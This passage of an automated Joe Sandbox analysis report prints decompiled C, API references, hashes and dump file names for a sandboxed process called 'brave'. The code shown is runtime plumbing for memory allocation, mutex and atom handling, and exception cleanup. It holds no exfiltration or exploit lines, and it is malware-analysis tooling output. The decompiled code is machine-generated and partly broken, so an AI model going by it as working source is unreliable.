				if (_t50 == 0) goto 0x55e814d2;
				_t55 =  *0x5614101c; // 0x0
				if (_t55 == 0) goto 0x55e81499;
				return _t39;
			}

0x7ff755e8119f
0x7ff755e811ad
0x7ff755e811b8
0x7ff755e811be
0x7ff755e811cd
0x7ff755e811e1
0x7ff755e811eb
0x7ff755e811f6
0x7ff755e811fc
0x7ff755e81204
0x7ff755e81206
0x7ff755e81214
0x7ff755e8121e
0x7ff755e81224
0x7ff755e81233
0x7ff755e8123b
0x7ff755e81241
0x7ff755e81248
0x7ff755e8124e
0x7ff755e81250
0x7ff755e8125c
0x7ff755e81268
0x7ff755e8126e
0x7ff755e8127c
0x7ff755e81284
0x7ff755e81289
0x7ff755e81290
0x7ff755e81297
0x7ff755e8129e
0x7ff755e812a4
0x7ff755e812a6
0x7ff755e812b3
0x7ff755e812b8
0x7ff755e812bf
0x7ff755e812c3
0x7ff755e812ca
0x7ff755e812cc
0x7ff755e812cf
0x7ff755e812d7
0x7ff755e812db
0x7ff755e812e4
0x7ff755e812e6
0x7ff755e812f4
0x7ff755e812ff
0x7ff755e81301
0x7ff755e81308
0x7ff755e8130e
0x7ff755e8131a
0x7ff755e81320
0x7ff755e8132d
0x7ff755e8132d
0x7ff755e81335
0x7ff755e8133c
0x7ff755e81341
0x7ff755e81348
0x7ff755e8134e
0x7ff755e81352
0x7ff755e81358
0x7ff755e81360
0x7ff755e81366
0x7ff755e8137b
0x7ff755e81384
0x7ff755e8138c
0x7ff755e8139c
0x7ff755e813a4
0x7ff755e813a6
0x7ff755e813ab
0x7ff755e813b2
0x7ff755e813b9
0x7ff755e813be
0x7ff755e813c5
0x7ff755e813d5
0x7ff755e813df
0x7ff755e813e4
0x7ff755e813ea
0x7ff755e813f2
0x7ff755e813f8
0x7ff755e81400
0x7ff755e81415

APIs

Sleep.KERNEL32 ref: 00007FF755E811F6
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF755E81268
malloc.MSVCRT ref: 00007FF755E8133C
malloc.MSVCRT ref: 00007FF755E81384
memcpy.MSVCRT ref: 00007FF755E8139C
GetStartupInfoW.KERNEL32 ref: 00007FF755E8148E

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpy
String ID:
API String ID: 772431862-0
Opcode ID: 309c151dfdb08d85403840f07dcb93ad76ef44dc397d826adaf2311f482d26cf
Instruction ID: 2d7b5f5fd7a7103d24146fe755e49018eb22e89b052e4d871571b7479748e662
Opcode Fuzzy Hash: 309c151dfdb08d85403840f07dcb93ad76ef44dc397d826adaf2311f482d26cf
Instruction Fuzzy Hash: AD916239E097A685FB65BB15EE4177AA3A1BF45B89FCC4035C90D4B391DF2CE4508360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E843C0 Relevance: 4.6, APIs: 3, Instructions: 65
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E00007FF77FF755E843C0(void* __esi, long long __rax, void* __rcx, long* __rdx) {
				long long _v48;
				char _v56;
				long long _v72;
				long long _v80;
				long _v88;
				long long _v96;
				long long _v104;
				long _t10;
				long _t13;
				long long _t22;
				long* _t25;

				_t22 = __rax;
				_t25 = __rdx;
				E00007FF77FF755E839D0(1, __rax, __rcx); // executed
				if (_t22 == 0xffffffff) goto 0x55e84470;
				_v56 = 0;
				_v48 = 0;
				_t10 = GetFileSize(??, ??);
				r13d = _t10;
				 *_t25 = _t10;
				GetProcessHeap();
				r8d = r13d;
				HeapAlloc(??, ??, ??); // executed
				r9d = 0;
				r8d = 0;
				_v72 = 0;
				_t13 =  *_t25;
				_v80 = 0;
				_v88 = _t13;
				_v96 = _t22;
				_v104 =  &_v56;
				E00007FF77FF755E84CEF(); // executed
				E00007FF77FF755E84D0D(); // executed
				if (_t13 < 0) goto 0x55e84488;
				return _t13;
			}

0x7ff755e843c0
0x7ff755e843ca
0x7ff755e843d2
0x7ff755e843de
0x7ff755e843e4
0x7ff755e843f2
0x7ff755e843fb
0x7ff755e84401
0x7ff755e84404
0x7ff755e84406
0x7ff755e8440c
0x7ff755e84414
0x7ff755e8441a
0x7ff755e8441d
0x7ff755e84422
0x7ff755e8442e
0x7ff755e84433
0x7ff755e8443c
0x7ff755e84445
0x7ff755e8444a
0x7ff755e8444f
0x7ff755e84459
0x7ff755e84460
0x7ff755e8446f

APIs

Part of subcall function 00007FF755E839D0: wcslen.MSVCRT ref: 00007FF755E83A58
Part of subcall function 00007FF755E839D0: wcslen.MSVCRT ref: 00007FF755E83AE6

GetFileSize.KERNEL32 ref: 00007FF755E843FB
GetProcessHeap.KERNEL32 ref: 00007FF755E84406
HeapAlloc.KERNEL32 ref: 00007FF755E84414

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Heapwcslen$AllocFileProcessSize
String ID:
API String ID: 3094376029-0
Opcode ID: b987f291ff7a0700c1adc368413bd26375da92ee33c3c0e79a7e4ad3b8e5b4e5
Instruction ID: 3fce9e8e2df54a8bd009a8eff52c45d99c1cc591932f07dc1a665a54b5c21fac
Opcode Fuzzy Hash: b987f291ff7a0700c1adc368413bd26375da92ee33c3c0e79a7e4ad3b8e5b4e5
Instruction Fuzzy Hash: 6011D336E04A6446EB11EB25B815757B290BB88BBCFC80231DE5D0B794EF7C8485C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EB2490 Relevance: 1.4, APIs: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00007FF77FF755EB2490() {
				long long _v296;
				void* _t51;
				void* _t53;
				void* _t54;
				int _t56;
				long long* _t65;
				void* _t66;
				void* _t67;
				int _t75;
				void* _t120;
				int _t121;
				int _t122;
				int _t123;
				int _t124;
				int _t125;
				int _t130;

				E00007FF77FF755EB19A0(_t53, _t54, _t56, _t67);
				_t121 = _t56;
				E00007FF77FF755EAA110(_t56, _t67);
				E00007FF77FF755EB2160(0x10, _t51, _t56, _t66, _t121, 0x56136bb0, 0x7ff755eaa230, _t120, _t121, _t67);
				_t128 = _t56;
				E00007FF77FF755EB1CF0(_t121);
				E00007FF77FF755E8FEC0();
				_push(_t56);
				_push(_t121);
				E00007FF77FF755EB19A0(_t53, _t54, _t56, _t128);
				_t122 = _t56;
				E00007FF77FF755EAA290(_t56, _t128);
				E00007FF77FF755EB2160(0x10, _t51, _t56, _t66, _t122, 0x56136bd0, 0x7ff755eaa3b0, _t120, _t122, _t128);
				_t130 = _t56;
				E00007FF77FF755EB1CF0(_t122);
				_t75 = _t130;
				E00007FF77FF755E8FEC0();
				_push(_t130);
				_push(_t122);
				E00007FF77FF755EB19A0(_t53, _t54, _t56, _t75);
				_t123 = _t56;
				E00007FF77FF755EAA7A0(_t56, _t75);
				E00007FF77FF755EB2160(0x10, _t51, _t56, _t66, _t123, 0x56136c10, 0x7ff755eaa8d0, _t120, _t123, _t75);
				_t132 = _t56;
				E00007FF77FF755EB1CF0(_t123);
				E00007FF77FF755E8FEC0();
				_push(_t56);
				_push(_t123);
				E00007FF77FF755EB19A0(_t53, _t54, _t56, _t132);
				_t124 = _t56;
				E00007FF77FF755EA9850(_t56, _t132);
				E00007FF77FF755EB2160(0x10, _t51, _t56, _t66, _t124, 0x56136b70, 0x7ff755ea9970, _t120, _t124, _t132);
				_t134 = _t56;
				E00007FF77FF755EB1CF0(_t124);
				E00007FF77FF755E8FEC0();
				_push(_t56);
				_push(_t124);
				E00007FF77FF755EB19A0(_t53, _t54, _t56, _t134);
				_t125 = _t56;
				E00007FF77FF755EAA970(_t56, _t134);
				E00007FF77FF755EB2160(0x10, _t51, _t56, _t66, _t125, 0x56136c30, 0x7ff755eaaa90, _t120, _t125, _t134);
				_t136 = _t56;
				E00007FF77FF755EB1CF0(_t125);
				E00007FF77FF755E8FEC0();
				_push(_t56);
				E00007FF77FF755EB19A0(_t53, _t54, _t56, _t136);
				_t126 = _t56;
				E00007FF77FF755EAAAF0(_t56, _t136);
				E00007FF77FF755EB2160(0x10, _t51, _t56, _t66, _t56, 0x56136c50, 0x7ff755eaac10, _t120, _t56, _t136);
				E00007FF77FF755EB1CF0(_t126);
				E00007FF77FF755E8FEC0();
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				 *0 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				_t65 =  *0x10;
				asm("ud2");
				0;
				E00007FF77FF755E90980(0x56132d20, 0x56136c50);
				 *0x56132d38 = 0x12400; // executed
				malloc(_t125); // executed
				 *0x56132d30 = _t65;
				if (_t65 == 0) goto 0x55eb2789;
				 *0x56132d28 = _t65;
				 *_t65 = 0x12400;
				 *((long long*)(_t65 + 8)) = 0;
				goto E00007FF77FF755E81520;
				 *0x56132d38 = 0;
				 *0x56132d28 = 0;
				goto 0x55eb2779;
				0;
				0;
				0;
			}

0x7ff755eb24a0
0x7ff755eb24ab
0x7ff755eb24ae
0x7ff755eb24c4
0x7ff755eb24c9
0x7ff755eb24cf
0x7ff755eb24d7
0x7ff755eb24e0
0x7ff755eb24e2
0x7ff755eb24f0
0x7ff755eb24fb
0x7ff755eb24fe
0x7ff755eb2514
0x7ff755eb2519
0x7ff755eb251f
0x7ff755eb2524
0x7ff755eb2527
0x7ff755eb2530
0x7ff755eb2532
0x7ff755eb2540
0x7ff755eb254b
0x7ff755eb254e
0x7ff755eb2564
0x7ff755eb2569
0x7ff755eb256f
0x7ff755eb2577
0x7ff755eb2580
0x7ff755eb2582
0x7ff755eb2590
0x7ff755eb259b
0x7ff755eb259e
0x7ff755eb25b4
0x7ff755eb25b9
0x7ff755eb25bf
0x7ff755eb25c7
0x7ff755eb25d0
0x7ff755eb25d2
0x7ff755eb25e0
0x7ff755eb25eb
0x7ff755eb25ee
0x7ff755eb2604
0x7ff755eb2609
0x7ff755eb260f
0x7ff755eb2617
0x7ff755eb2620
0x7ff755eb2630
0x7ff755eb263b
0x7ff755eb263e
0x7ff755eb2654
0x7ff755eb265f
0x7ff755eb2667
0x7ff755eb2670
0x7ff755eb2681
0x7ff755eb2683
0x7ff755eb2694
0x7ff755eb2696
0x7ff755eb26a7
0x7ff755eb26a9
0x7ff755eb26ba
0x7ff755eb26bc
0x7ff755eb26c7
0x7ff755eb26c9
0x7ff755eb26da
0x7ff755eb26dc
0x7ff755eb26ed
0x7ff755eb26ef
0x7ff755eb2700
0x7ff755eb2702
0x7ff755eb2713
0x7ff755eb2715
0x7ff755eb271e
0x7ff755eb2726
0x7ff755eb272e
0x7ff755eb273d
0x7ff755eb2747
0x7ff755eb2752
0x7ff755eb2757
0x7ff755eb2761
0x7ff755eb2763
0x7ff755eb276a
0x7ff755eb2771
0x7ff755eb2784
0x7ff755eb2789
0x7ff755eb2794
0x7ff755eb279f
0x7ff755eb27a7
0x7ff755eb27ab
0x7ff755eb27af

APIs

Part of subcall function 00007FF755EB19A0: malloc.MSVCRT(?,?,?,?,00007FF755EB23B5,?,?,?,?,00007FF755E83C24), ref: 00007FF755EB19B1

Part of subcall function 00007FF755EAA110: strlen.MSVCRT ref: 00007FF755EAA13B

Part of subcall function 00007FF755E8FEC0: RtlCaptureContext.KERNEL32 ref: 00007FF755E8FF45
Part of subcall function 00007FF755E8FEC0: RtlUnwindEx.KERNEL32 ref: 00007FF755E8FF63
Part of subcall function 00007FF755E8FEC0: abort.MSVCRT ref: 00007FF755E8FF69

Part of subcall function 00007FF755EAA290: strlen.MSVCRT ref: 00007FF755EAA2BB

Part of subcall function 00007FF755EAA7A0: strlen.MSVCRT ref: 00007FF755EAA7CB

Part of subcall function 00007FF755EA9850: strlen.MSVCRT ref: 00007FF755EA987B

Part of subcall function 00007FF755EAA970: strlen.MSVCRT ref: 00007FF755EAA99B

Part of subcall function 00007FF755EAAAF0: strlen.MSVCRT ref: 00007FF755EAAB1B

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: strlen$malloc$CaptureContextUnwindabort
String ID:
API String ID: 3412053993-0
Opcode ID: f0681c3af7f834308cd656b74fdb5bd540acaac29b47731a026287562199051c
Instruction ID: ec3bcb0eda9be2596178dde49a1618050462ed9c6c1529aaeba2d430dce327ea
Opcode Fuzzy Hash: f0681c3af7f834308cd656b74fdb5bd540acaac29b47731a026287562199051c
Instruction Fuzzy Hash: 02615028B1965640F958BB62FD553BAA361BF86F9DFC81531ED8D0F352CE3CA04483A4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EB2530 Relevance: 1.4, APIs: 1, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00007FF77FF755EB2530() {
				long long _v184;
				void* _t39;
				void* _t41;
				void* _t42;
				int _t44;
				long long* _t53;
				void* _t54;
				void* _t55;
				void* _t92;
				int _t93;
				int _t94;
				int _t95;

				E00007FF77FF755EB19A0(_t41, _t42, _t44, _t55);
				_t93 = _t44;
				E00007FF77FF755EAA7A0(_t44, _t55);
				E00007FF77FF755EB2160(0x10, _t39, _t44, _t54, _t93, 0x56136c10, 0x7ff755eaa8d0, _t92, _t93, _t55);
				_t98 = _t44;
				E00007FF77FF755EB1CF0(_t93);
				E00007FF77FF755E8FEC0();
				_push(_t44);
				_push(_t93);
				E00007FF77FF755EB19A0(_t41, _t42, _t44, _t98);
				_t94 = _t44;
				E00007FF77FF755EA9850(_t44, _t98);
				E00007FF77FF755EB2160(0x10, _t39, _t44, _t54, _t94, 0x56136b70, 0x7ff755ea9970, _t92, _t94, _t98);
				_t100 = _t44;
				E00007FF77FF755EB1CF0(_t94);
				E00007FF77FF755E8FEC0();
				_push(_t44);
				_push(_t94);
				E00007FF77FF755EB19A0(_t41, _t42, _t44, _t100);
				_t95 = _t44;
				E00007FF77FF755EAA970(_t44, _t100);
				E00007FF77FF755EB2160(0x10, _t39, _t44, _t54, _t95, 0x56136c30, 0x7ff755eaaa90, _t92, _t95, _t100);
				_t102 = _t44;
				E00007FF77FF755EB1CF0(_t95);
				E00007FF77FF755E8FEC0();
				_push(_t44);
				E00007FF77FF755EB19A0(_t41, _t42, _t44, _t102);
				_t96 = _t44;
				E00007FF77FF755EAAAF0(_t44, _t102);
				E00007FF77FF755EB2160(0x10, _t39, _t44, _t54, _t44, 0x56136c50, 0x7ff755eaac10, _t92, _t44, _t102);
				E00007FF77FF755EB1CF0(_t96);
				E00007FF77FF755E8FEC0();
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				 *0 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				_t53 =  *0x10;
				asm("ud2");
				0;
				E00007FF77FF755E90980(0x56132d20, 0x56136c50);
				 *0x56132d38 = 0x12400; // executed
				malloc(_t95); // executed
				 *0x56132d30 = _t53;
				if (_t53 == 0) goto 0x55eb2789;
				 *0x56132d28 = _t53;
				 *_t53 = 0x12400;
				 *((long long*)(_t53 + 8)) = 0;
				goto E00007FF77FF755E81520;
				 *0x56132d38 = 0;
				 *0x56132d28 = 0;
				goto 0x55eb2779;
				0;
				0;
				0;
			}

0x7ff755eb2540
0x7ff755eb254b
0x7ff755eb254e
0x7ff755eb2564
0x7ff755eb2569
0x7ff755eb256f
0x7ff755eb2577
0x7ff755eb2580
0x7ff755eb2582
0x7ff755eb2590
0x7ff755eb259b
0x7ff755eb259e
0x7ff755eb25b4
0x7ff755eb25b9
0x7ff755eb25bf
0x7ff755eb25c7
0x7ff755eb25d0
0x7ff755eb25d2
0x7ff755eb25e0
0x7ff755eb25eb
0x7ff755eb25ee
0x7ff755eb2604
0x7ff755eb2609
0x7ff755eb260f
0x7ff755eb2617
0x7ff755eb2620
0x7ff755eb2630
0x7ff755eb263b
0x7ff755eb263e
0x7ff755eb2654
0x7ff755eb265f
0x7ff755eb2667
0x7ff755eb2670
0x7ff755eb2681
0x7ff755eb2683
0x7ff755eb2694
0x7ff755eb2696
0x7ff755eb26a7
0x7ff755eb26a9
0x7ff755eb26ba
0x7ff755eb26bc
0x7ff755eb26c7
0x7ff755eb26c9
0x7ff755eb26da
0x7ff755eb26dc
0x7ff755eb26ed
0x7ff755eb26ef
0x7ff755eb2700
0x7ff755eb2702
0x7ff755eb2713
0x7ff755eb2715
0x7ff755eb271e
0x7ff755eb2726
0x7ff755eb272e
0x7ff755eb273d
0x7ff755eb2747
0x7ff755eb2752
0x7ff755eb2757
0x7ff755eb2761
0x7ff755eb2763
0x7ff755eb276a
0x7ff755eb2771
0x7ff755eb2784
0x7ff755eb2789
0x7ff755eb2794
0x7ff755eb279f
0x7ff755eb27a7
0x7ff755eb27ab
0x7ff755eb27af

APIs

Part of subcall function 00007FF755EB19A0: malloc.MSVCRT(?,?,?,?,00007FF755EB23B5,?,?,?,?,00007FF755E83C24), ref: 00007FF755EB19B1

Part of subcall function 00007FF755EAA7A0: strlen.MSVCRT ref: 00007FF755EAA7CB

Part of subcall function 00007FF755E8FEC0: RtlCaptureContext.KERNEL32 ref: 00007FF755E8FF45
Part of subcall function 00007FF755E8FEC0: RtlUnwindEx.KERNEL32 ref: 00007FF755E8FF63
Part of subcall function 00007FF755E8FEC0: abort.MSVCRT ref: 00007FF755E8FF69

Part of subcall function 00007FF755EA9850: strlen.MSVCRT ref: 00007FF755EA987B

Part of subcall function 00007FF755EAA970: strlen.MSVCRT ref: 00007FF755EAA99B

Part of subcall function 00007FF755EAAAF0: strlen.MSVCRT ref: 00007FF755EAAB1B

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: strlen$malloc$CaptureContextUnwindabort
String ID:
API String ID: 3412053993-0
Opcode ID: 93d5ee2c6aaf0008122d9e70a301f82916df8bd8c2d61856d1b3d42c2f024549
Instruction ID: a286f88b98354cedad8fbc1f711451b42f6f00ca61bafaaf42020fa04484237c
Opcode Fuzzy Hash: 93d5ee2c6aaf0008122d9e70a301f82916df8bd8c2d61856d1b3d42c2f024549
Instruction Fuzzy Hash: 57515E25A0965680FA18BB52FD553BAA360BF85F9DFC81535ED8D0F392CE7CE04483A4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E97060 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 157
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF755E97068
CreateMutexA.KERNEL32 ref: 00007FF755E97177
WaitForSingleObject.KERNEL32 ref: 00007FF755E97188
FindAtomA.KERNEL32 ref: 00007FF755E9719D
AddAtomA.KERNEL32 ref: 00007FF755E971DD
_onexit.MSVCRT ref: 00007FF755E971FA
ReleaseMutex.KERNEL32 ref: 00007FF755E97202
CloseHandle.KERNEL32 ref: 00007FF755E9720B

Strings

failed to get string from atom, xrefs: 00007FF755E972F6
aaaaaaaa, xrefs: 00007FF755E97114
aaaaaaaa, xrefs: 00007FF755E9711E
failed to add string to atom table, xrefs: 00007FF755E972C3
DiAjAaAa__shmem3_winpthreads_tdm_, xrefs: 00007FF755E9706E, 00007FF755E9712F
failed to to lock creation mutex, xrefs: 00007FF755E972D6
__shmem3_winpthreads_tdm_, xrefs: 00007FF755E970B7, 00007FF755E970E7
__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAaAaAAaaaaAaAaaaaaAaAaaaaaaaaa, xrefs: 00007FF755E970DB, 00007FF755E97196, 00007FF755E971D6, 00007FF755E97227

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: AtomMutex$CloseCreateCurrentFindHandleObjectProcessReleaseSingleWait_onexit
String ID: DiAjAaAa__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAaAaAAaaaaAaAaaaaaAaAaaaaaaaaa$aaaaaaaa$aaaaaaaa$failed to add string to atom table$failed to get string from atom$failed to to lock creation mutex
API String ID: 2382646235-1564204366
Opcode ID: a7566c4363776fb2f142f84513ee5a94bc791e29e32db4c34a702c3beaa6482f
Instruction ID: 738c1972b729e3dd5e2f41b25c42b4933af7dbf9c29d8a884006cdb547ee6c46
Opcode Fuzzy Hash: a7566c4363776fb2f142f84513ee5a94bc791e29e32db4c34a702c3beaa6482f
Instruction Fuzzy Hash: 326172B9E1C65681EE15AB15FC022B6E7A1BF46BCAFCC4035D50E4B294FE7CA549C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E93520 Relevance: 24.4, APIs: 16, Instructions: 450
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E93520(void* __edx, void* __r8) {

				if (__edx != 0) goto 0x55e93548;
				if (__r8 == 0) goto 0x55e93588;
				return 1;
			}

0x7ff755e9352d
0x7ff755e93532
0x7ff755e93544

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 00007FF755E93594
TlsGetValue.KERNEL32 ref: 00007FF755E935ED
CloseHandle.KERNEL32 ref: 00007FF755E9362B
CloseHandle.KERNEL32 ref: 00007FF755E93638
TlsSetValue.KERNEL32 ref: 00007FF755E936A5

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CloseHandleValue$ExceptionHandlerRemoveVectored
String ID:
API String ID: 2941551293-0
Opcode ID: 67c97d2b0fe632f4fb20c12def0e5228ddbe2ecb36f3870be98da43108ad0dd3
Instruction ID: 37c007e8c63508ad4dc709fb9a2c8b41d8883cb1eab03b05a236a7ce3b78466b
Opcode Fuzzy Hash: 67c97d2b0fe632f4fb20c12def0e5228ddbe2ecb36f3870be98da43108ad0dd3
Instruction Fuzzy Hash: CA221869A09B1A85EF65BB11E6543B9A2B0FF48F98F8C0135DA1D4B391DF3CE844C361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E96F70 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60
